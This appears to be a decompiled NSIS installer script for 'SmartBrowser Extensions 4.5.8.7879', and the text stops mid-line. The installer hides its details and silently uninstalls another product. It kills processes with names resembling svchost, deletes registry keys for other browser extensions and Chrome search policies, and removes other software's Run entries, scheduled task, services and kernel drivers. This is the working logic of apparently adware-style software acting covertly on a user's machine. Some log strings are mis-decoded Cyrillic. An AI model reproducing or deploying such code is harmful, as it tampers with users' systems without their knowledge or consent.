; NSIS script NSIS-2 ; Install SetCompressor /SOLID lzma SetCompressorDictSize 8 ; -------------------- ; HEADER SIZE: 701338 ; START HEADER SIZE: 300 ; MAX STRING LENGTH: 1024 ; STRING CHARS: 156276 OutFile [NSIS].exe !include WinMessages.nsh ShowInstDetails nevershow ; -------------------- ; LANG TABLES: 1 ; LANG STRINGS: 57 Name "SmartBrowser Extensions 4.5.8.7879" BrandingText " " ; LANG: 1033 LangString LSTR_0 1033 " " LangString LSTR_1 1033 "Setup SmartBrowser Extensions 4.5.8.7879" LangString LSTR_2 1033 "SmartBrowser Extensions 4.5.8.7879" LangString LSTR_5 1033 "Can't write: " LangString LSTR_6 1033 "Copy failed" LangString LSTR_7 1033 "Copy to " LangString LSTR_8 1033 "Could not find symbol: " LangString LSTR_9 1033 "Could not load: " LangString LSTR_10 1033 "Create folder: " LangString LSTR_11 1033 "Create shortcut: " LangString LSTR_12 1033 "Created uninstaller: " LangString LSTR_13 1033 "Delete file: " LangString LSTR_14 1033 "Delete on reboot: " LangString LSTR_15 1033 "Error creating shortcut: " LangString LSTR_16 1033 "Error creating: " LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?" LangString LSTR_19 1033 "ExecShell: " LangString LSTR_21 1033 "Extract: " LangString LSTR_22 1033 "Extract: error writing to file " LangString LSTR_23 1033 "Installer corrupted: invalid opcode" LangString LSTR_24 1033 "No OLE for: " LangString LSTR_25 1033 "Output folder: " LangString LSTR_26 1033 "Remove folder: " LangString LSTR_27 1033 "Rename on reboot: " LangString LSTR_28 1033 "Rename: " LangString LSTR_29 1033 "Skipped: " LangString LSTR_30 1033 "Copy Details To Clipboard" LangString LSTR_36 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file." LangString LSTR_37 1033 Installing LangString LSTR_38 1033 "Please wait while $(LSTR_56) is being installed." LangString LSTR_39 1033 "Installation Complete" LangString LSTR_40 1033 "Setup was completed successfully." LangString LSTR_41 1033 "Installation Aborted" LangString LSTR_42 1033 "Setup was not completed successfully." LangString LSTR_43 1033 "MS Shell Dlg" LangString LSTR_44 1033 8 LangString LSTR_45 1033 Custom LangString LSTR_46 1033 Cancel LangString LSTR_47 1033 "< &Back" LangString LSTR_48 1033 "&Next >" LangString LSTR_49 1033 "Click Next to continue." LangString LSTR_50 1033 &Install LangString LSTR_51 1033 "Click Install to start the installation." LangString LSTR_52 1033 "Show &details" LangString LSTR_53 1033 Completed LangString LSTR_54 1033 " " LangString LSTR_55 1033 &Close LangString LSTR_56 1033 "SmartBrowser Extensions 4.5.8.7879" ; -------------------- ; VARIABLES: 159 Var _0_ Var _1_ Var _2_ Var _3_ Var _4_ Var _5_ Var _6_ Var _7_ Var _8_ Var _9_ Var _10_ Var _11_ Var _12_ Var _13_ Var _14_ Var _15_ Var _16_ Var _17_ Var _18_ Var _19_ Var _20_ Var _21_ Var _22_ Var _23_ Var _24_ Var _25_ Var _26_ Var _27_ Var _28_ Var _29_ Var _30_ Var _31_ Var _32_ Var _33_ Var _34_ Var _35_ Var _36_ Var _37_ Var _38_ Var _39_ Var _40_ Var _41_ Var _42_ Var _43_ Var _44_ Var _45_ Var _46_ Var _47_ Var _48_ Var _49_ Var _50_ Var _51_ Var _52_ Var _53_ Var _54_ Var _55_ Var _56_ Var _57_ Var _58_ Var _59_ Var _60_ Var _61_ Var _62_ Var _63_ Var _64_ Var _65_ Var _66_ Var _67_ Var _68_ Var _69_ Var _70_ Var _71_ Var _72_ Var _73_ Var _74_ Var _75_ Var _76_ Var _77_ Var _78_ Var _79_ Var _80_ Var _81_ Var _82_ Var _83_ Var _84_ Var _85_ Var _86_ Var _87_ Var _88_ Var _89_ Var _90_ Var _91_ Var _92_ Var _93_ Var _94_ Var _95_ Var _96_ Var _97_ Var _98_ Var _99_ Var _100_ Var _101_ Var _102_ Var _103_ Var _104_ Var _105_ Var _106_ Var _107_ Var _108_ Var _109_ Var _110_ Var _111_ Var _112_ Var _113_ Var _114_ Var _115_ Var _116_ Var _117_ Var _118_ Var _119_ Var _120_ Var _121_ Var _122_ Var _123_ Var _124_ Var _125_ Var _126_ Var _127_ Var _128_ Var _129_ Var _130_ Var _131_ Var _132_ Var _133_ Var _134_ Var _135_ Var _136_ Var _137_ Var _138_ Var _139_ Var _140_ Var _141_ Var _142_ Var _143_ Var _144_ Var _145_ Var _146_ Var _147_ Var _148_ Var _149_ Var _150_ Var _151_ Var _152_ Var _153_ Var _154_ Var _155_ Var _156_ Var _157_ Var _158_ InstType $(LSTR_45) ; Custom ; wininit = $WINDIR\wininit.ini ; -------------------- ; PAGES: 4 ; Page 0 Page custom func_5154 "" /ENABLECANCEL ; Page 1 Page custom func_5214 "" /ENABLECANCEL ; Page 2 Page instfiles func_4500 func_4503 func_4509 CompletedText $(LSTR_53) ; Completed DetailsButtonText $(LSTR_52) ; "Show &details" /* ; Page 3 Page COMPLETED */ ; -------------------- ; SECTIONS: 1 ; COMMANDS: 19399 Function func_0 Exch $0 ; Push $0 ; Exch ; Pop $0 Push $1 Push $2 StrCpy $2 1 label_6: IntFmt $1 %c $2 StrCmpS $1 $0 0 label_10 StrCpy $0 $2 Goto label_13 label_10: IntOp $2 $2 + 1 StrCmp $2 255 0 label_6 StrCpy $0 0 label_13: Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 FunctionEnd Function func_19 Pop $R2 Pop $R0 StrCpy $R1 "" StrLen $1 $R0 StrCpy $0 0 label_24: IntCmp $0 $1 label_81 0 label_81 StrCpy $_12_ 0 StrCpy $5 $0 StrCpy $4 $R0 1 $5 Push $4 Call func_0 Pop $4 IntOp $_12_ $4 << 16 IntOp $5 $5 + 1 IntCmp $5 $1 label_47 0 label_47 StrCpy $4 $R0 1 $5 Push $4 Call func_0 Pop $4 IntOp $4 $4 << 8 IntOp $_12_ $_12_ + $4 IntOp $5 $5 + 1 IntCmp $5 $1 label_47 0 label_47 StrCpy $4 $R0 1 $5 Push $4 Call func_0 Pop $4 IntOp $_12_ $_12_ + $4 label_47: IntOp $4 $_12_ >> 18 IntOp $4 $4 & 63 StrCpy $5 $R2 1 $4 StrCpy $R1 $R1$5 IntOp $4 $_12_ >> 12 IntOp $4 $4 & 63 StrCpy $5 $R2 1 $4 StrCpy $R1 $R1$5 StrCpy $6 $0 StrCpy $7 2 IntOp $6 $6 + 1 IntCmp $6 $1 label_64 0 label_64 IntOp $4 $_12_ >> 6 IntOp $4 $4 & 63 StrCpy $5 $R2 1 $4 StrCpy $R1 $R1$5 IntOp $7 $7 - 1 label_64: IntOp $6 $6 + 1 IntCmp $6 $1 label_70 0 label_70 IntOp $4 $_12_ & 63 StrCpy $5 $R2 1 $4 StrCpy $R1 $R1$5 IntOp $7 $7 - 1 label_70: IntCmp $7 0 label_77 label_77 label_71: IntCmp $7 0 label_77 label_77 StrCpy $R1 $R1= IntOp $7 $7 - 1 Goto label_71 Goto label_71 Goto label_77 label_77: IntOp $0 $0 + 3 Goto label_24 Goto label_24 Goto label_81 label_81: Push $R1 FunctionEnd Function func_83 Push $9 Exch 2 Exch Exch $0 ; Push $0 ; Exch ; Pop $0 Exch Exch $1 ; Push $1 ; Exch ; Pop $1 Push $2 Push $3 Push $4 Push $5 Push $6 Push $7 Push $R0 Push $R1 Push $R2 Push $R3 Push $R4 Push $R5 Push $R6 Push $R7 Push $R8 Push $R9 StrCpy $9 "" StrLen $2 $0 StrLen $3 $1 IntOp $3 $3 - 1 StrCpy $R0 4 StrCpy $5 0 Goto label_117 label_116: IntOp $5 $5 + 1 label_117: IntCmp $5 $3 0 0 label_157 StrCpy $7 $1 1 $5 StrCmp $7 = 0 label_122 Push 0 Goto label_133 label_122: StrCpy $4 0 Goto label_125 label_124: IntOp $4 $4 + 1 label_125: IntCmp $4 $2 0 0 label_132 StrCpy $6 $0 1 $4 StrCmpS $6 $7 0 label_129 Goto label_132 label_129: Goto label_124 Goto label_124 Goto label_132 label_132: Push $4 label_133: IntOp $R0 $R0 - 1 IntCmp $R0 0 0 label_154 label_154 Pop $R4 Pop $R3 Pop $R2 Pop $R1 IntOp $R5 $R1 << 2 IntOp $R6 $R2 >> 4 IntOp $R5 $R5 | $R6 IntFmt $R7 %c $R5 IntOp $R5 $R2 & 15 IntOp $R5 $R5 << 4 IntOp $R6 $R3 >> 2 IntOp $R5 $R5 | $R6 IntFmt $R8 %c $R5 IntOp $R5 $R3 & 3 IntOp $R5 $R5 << 6 IntOp $R5 $R5 | $R4 IntFmt $R9 %c $R5 StrCpy $9 $9$R7$R8$R9 StrCpy $R0 4 label_154: Goto label_116 Goto label_116 Goto label_157 label_157: Pop $R9 Pop $R8 Pop $R7 Pop $R6 Pop $R5 Pop $R4 Pop $R3 Pop $R2 Pop $R1 Pop $R0 Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 Exch $9 ; Push $9 ; Exch ; Pop $9 FunctionEnd Function func_179 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 Exch Exch $R1 ; Push $R1 ; Exch ; Pop $R1 Exch Exch 2 Exch $R2 ; Push $R2 ; Exch ; Pop $R2 Push $R3 Push $R4 Push $R5 Push $R6 Push $R7 Push $R8 StrCmp $R1 "" 0 label_199 Goto label_218 label_199: StrLen $R3 $R0 StrLen $R4 $R1 StrLen $R5 $R2 StrCpy $R6 0 label_203: StrCpy $R7 $R2 $R4 $R6 StrCmp $R7 $R1 0 label_212 StrCpy $R7 $R2 $R6 IntOp $R8 $R6 + $R4 StrCpy $R8 $R2 "" $R8 StrCpy $R2 $R7$R0$R8 StrLen $R5 $R2 IntOp $R6 $R6 + $R3 Goto label_215 label_212: IntCmp $R6 $R5 0 label_214 Goto label_218 label_214: IntOp $R6 $R6 + 1 label_215: Goto label_203 Goto label_215 Goto label_218 label_218: StrCpy $R0 $R2 Pop $R8 Pop $R7 Pop $R6 Pop $R5 Pop $R4 Pop $R3 Pop $R2 Pop $R1 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 FunctionEnd Function func_231 StrCpy $1 "" nsExec::Exec "cmd /k msi$1exec /uninstall {00247531-BBE6-4444-8784-ECFF266C1112} /quiet" ; Call Initialize_____Plugins ; SetOverwrite off ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k msi$1exec /uninstall {00247531-BBE6-4444-8784-ECFF266C1112} /quiet" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FunctionEnd Function func_238 Exch $1 ; Push $1 ; Exch ; Pop $1 IfFileExists $1 0 label_255 StrCpy $2 "" StrCpy $3 "" FindFirst $3 $2 $1\*.tmp label_245: StrCmp $2 "" label_253 nsExec::Exec "cmd /k taskkill /IM $\"$2$\" /f" ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $3 $2 Goto label_245 label_253: FindClose $3 RMDir /r /REBOOTOK $1 label_255: nsExec::ExecToStack "taskkill /fi $\"WINDOWTITLE eq Live Installer$\" /f" ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /fi $\"WINDOWTITLE eq Live Installer$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack FunctionEnd Function func_261 SetShellVarContext current Call func_19200 Call func_19215 IfFileExists $APPDATA\et 0 label_269 DeleteRegKey HKCU Software\Microsoft\Windows\CurrentVersion\Run\apphide Call func_792 Sleep 3000 RMDir /r /REBOOTOK $APPDATA\et label_269: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj $0 IfErrors label_273 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj label_273: ClearErrors EnumRegKey $0 HKCU SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj $0 IfErrors label_277 DeleteRegKey HKCU SOFTWARE\Google\Chrome\Extensions\ldhndahencefpagkkbaoaeigbjomkekj label_277: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\phnlpdnedfcdlfghlilkbcbehmbmcagd $0 IfErrors label_281 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\phnlpdnedfcdlfghlilkbcbehmbmcagd label_281: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\dmcaebpppkgaeajegijmjgkkplgaljlc $0 IfErrors label_285 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\dmcaebpppkgaeajegijmjgkkplgaljlc label_285: ClearErrors EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderEnabled IfErrors label_289 DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderEnabled label_289: ClearErrors EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderInstantURL IfErrors label_293 DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderInstantURL label_293: ClearErrors EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderKeyword IfErrors label_297 DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderKeyword label_297: ClearErrors EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderName IfErrors label_301 DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderName label_301: ClearErrors EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSearchURL IfErrors label_305 DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSearchURL label_305: ClearErrors EnumRegValue $1 HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSuggestURL IfErrors label_309 DeleteRegValue HKLM SOFTWARE\Policies\Google\Chrome DefaultSearchProviderSuggestURL label_309: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\fkjoahemngfldcokkeofepfhpfphkpjp $0 IfErrors label_313 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fkjoahemngfldcokkeofepfhpfphkpjp label_313: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\aliekcbgfjfobmdhalkinpphajmlhaei $0 IfErrors label_317 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\aliekcbgfjfobmdhalkinpphajmlhaei label_317: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl $0 IfErrors label_321 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl label_321: ClearErrors EnumRegKey $0 HKCU SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl $0 IfErrors label_325 DeleteRegKey HKCU SOFTWARE\Google\Chrome\Extensions\nmpjlchjijbdlflkpnglbepmhjaejkjl label_325: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\nphbmanpfjfdngbaamhajooihmjacmfe $0 IfErrors label_329 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\nphbmanpfjfdngbaamhajooihmjacmfe label_329: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll $0 IfErrors label_333 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll label_333: ClearErrors EnumRegKey $0 HKCU SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll $0 IfErrors label_337 DeleteRegKey HKCU SOFTWARE\Google\Chrome\Extensions\njppmddkfhcffdkkkeomojdheimcgkll label_337: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\hcnmeapiiphhmfhfnngadeoglcaknipi $0 IfErrors label_341 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\hcnmeapiiphhmfhfnngadeoglcaknipi label_341: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek $0 IfErrors label_345 DeleteRegKey HKCU Software\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek label_345: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek $0 IfErrors label_349 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\ffbonecokbglbldgjefndidmdeegggek label_349: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng $0 IfErrors label_353 DeleteRegKey HKCU Software\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng label_353: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng $0 IfErrors label_357 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\hiinilempllbgnaohllfdpnmeioogkng label_357: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\aonedlchkbicmhepimiahfalheedjgbh $0 IfErrors label_361 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\aonedlchkbicmhepimiahfalheedjgbh label_361: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\jgpcjehgklpfpaohmmmcbmccgbcfgmnk $0 IfErrors label_365 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jgpcjehgklpfpaohmmmcbmccgbcfgmnk label_365: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Yandex\YandexBrowser\Extensions\aonedlchkbicmhepimiahfalheedjgbh $0 IfErrors label_369 DeleteRegKey HKLM SOFTWARE\Yandex\YandexBrowser\Extensions\aonedlchkbicmhepimiahfalheedjgbh label_369: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dghncoeocefmhkhiphdgikkamjeglbfh $0 IfErrors label_373 DeleteRegKey HKLM Software\Google\Chrome\Extensions\dghncoeocefmhkhiphdgikkamjeglbfh label_373: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dkmjljdbbgogihjcapfhgkonfmccbffp $0 IfErrors label_377 DeleteRegKey HKLM Software\Google\Chrome\Extensions\dkmjljdbbgogihjcapfhgkonfmccbffp label_377: StrCpy $R1 system IfFileExists $LOCALAPPDATA\Microsoft\Windows\$R1 0 label_390 nsExec::ExecToStack "schtasks /delete /tn $\"SystemScript$\" /f" ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"SystemScript$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemScript DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemScript Call func_707 Sleep 3000 Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\windows.zpx Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\$R1.exe label_390: IfFileExists $LOCALAPPDATA\Microsoft\Windows\toolbar.exe 0 label_395 Call func_707 Sleep 3000 Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\windows.zpx Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\toolbar.exe label_395: IfFileExists $PROGRAMFILES\PhraseFinder* 0 label_519 StrCpy $0 0 label_397: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_519 IntOp $0 $0 + 1 ClearErrors Push $1 Push PhraseFinder Call :label_405 Goto label_494 label_405: Exch $1 ; Push $1 ; Exch ; Pop $1 Exch Exch $0 ; Push $0 ; Exch ; Pop $0 Exch Push $2 Push $3 Push $4 Push $5 Push $6 Push $7 ClearErrors StrCpy $2 $1 "" 1 StrCpy $1 $1 1 StrLen $3 $2 StrCpy $7 0 label_424: StrCpy $4 -1 StrCpy $6 "" label_426: IntOp $4 $4 + 1 StrCpy $5 $0 1 $4 StrCmp $5$7 0 label_481 StrCmp $5 "" label_468 StrCmp $5 $\" 0 label_437 StrCmp $6 "" 0 label_434 StrCpy $6 $\" Goto label_426 label_434: StrCmp $6 $\" 0 label_437 StrCpy $6 "" Goto label_426 label_437: StrCmp $5 ' 0 label_444 StrCmp $6 "" 0 label_441 StrCpy $6 ' Goto label_426 label_441: StrCmp $6 ' 0 label_444 StrCpy $6 "" Goto label_426 label_444: StrCmp $5 ` 0 label_451 StrCmp $6 "" 0 label_448 StrCpy $6 ` Goto label_426 label_448: StrCmp $6 ` 0 label_451 StrCpy $6 "" Goto label_426 label_451: StrCmp $6 $\" label_426 StrCmp $6 ' label_426 StrCmp $6 ` label_426 StrCmp $5 $1 0 label_426 StrCmp $7 0 label_456 label_468 label_456: IntOp $4 $4 + 1 StrCpy $5 $0 $3 $4 StrCmp $5 "" label_481 StrCmp $5 $2 0 label_426 IntOp $4 $4 + $3 StrCpy $0 $0 "" $4 label_462: StrCpy $4 $0 1 StrCmp $4 " " 0 label_466 StrCpy $0 $0 "" 1 Goto label_462 label_466: StrCpy $7 1 Goto label_424 label_468: StrCpy $0 $0 $4 label_469: StrCpy $4 $0 1 -1 StrCmp $4 " " 0 label_473 StrCpy $0 $0 -1 Goto label_469 label_473: StrCpy $3 $0 1 StrCpy $4 $0 1 -1 StrCmp $3 $4 0 label_483 StrCmp $3 $\" label_479 StrCmp $3 ' label_479 StrCmp $3 ` 0 label_483 label_479: StrCpy $0 $0 -1 1 Goto label_483 label_481: SetErrors StrCpy $0 "" label_483: Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Return label_494: Pop $R3 IfErrors label_397 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\pfsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\pfnfd_$3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\pfnfd_$3.sys 0 label_511 Delete /REBOOTOK $SYSDIR\drivers\pfnfd_$3.sys label_511: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\pfnfd_$3.sys 0 label_518 Delete /REBOOTOK $SYSDIR\drivers\pfnfd_$3.sys label_518: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_519: FunctionEnd Function func_520 StrCpy $0 storegidup.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_537 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_537 StrCpy $0 storegidup.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_537 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_537: StrCpy $0 storegid.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_554 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_554 StrCpy $0 storegid.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_554 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_554: FunctionEnd Function func_555 StrCpy $0 run_ctrl.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_572 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_572 StrCpy $0 run_ctrl.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_572 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_572: FunctionEnd Function func_573 StrCpy $0 strdup.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_590 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_590 StrCpy $0 strdup.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_590 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_590: FunctionEnd Function func_591 StrCpy $0 str_up.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_608 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_608 StrCpy $0 str_up.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_608 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_608: FunctionEnd Function func_609 nsExec::Exec "cmd /k taskkill /IM swhust.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM swhust.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM swshost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM swshost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM svshost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM svshost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM svdhost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM svdhost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM swdhost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM swdhost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FunctionEnd Function func_635 StrCpy $0 installerTemp.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_652 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_652 StrCpy $0 installerTemp.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_652 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_652: FunctionEnd Function func_653 StrCpy $0 installerTempZ.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File 